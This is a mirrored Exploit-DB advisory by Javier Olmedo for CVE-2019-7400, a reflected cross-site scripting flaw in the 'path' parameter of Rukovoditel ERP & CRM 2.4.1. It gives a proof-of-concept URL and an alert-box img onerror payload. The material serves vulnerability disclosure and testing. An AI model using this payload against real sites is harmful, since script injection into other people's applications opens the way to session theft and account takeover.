Rukovoditel ERP & CRM 2.4.1 – ‘path’ Cross-Site Scripting - 体验盒子

作者： Javier Olmedo

日期： 2019-03-26

类别：

webapps

平台：

php

来源：https://www.exploit-db.com/exploits/46608/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

# Exploit Title: Rukovoditel ERP & CRM 2.4.1 - 'path' Cross-Site Scripting

# Exploit Author: Javier Olmedo

# Website: https://hackpuntes.com

# Date: 2019-03-24

# Google Dork: N/A

# Vendor: Rukovoditel

# Software Link: https://sourceforge.net/projects/rukovoditel/

# Affected Version: 2.4.1 and possibly before

# Patched Version: patched in extension version 2.4.1

# Category: Web Application

# Platform: Windows

# Tested on: Win10x64 & Kali Linux

# CVE: 2019-7400

# References:

# https://hackpuntes.com/cve-2019-7400-rukovoditel-erp-crm-2-4-1-cross-site-scripting-reflejado/

# 1. Technical Description:

# path parameter is vulnerable to Reflected Cross-Site Scripting (XSS) attacks

# through a GET request in index.php resource.

# 2. Proof Of Concept (PoC):

# http://localhost/index.php?module=items/items&path=%22%3E%3Cimg%20src%3da%20onerror%3dalert(%22VULNERABLE%22)%3E

# 3. Payload

# "><img src=a onerror=alert("VULNERABLE")>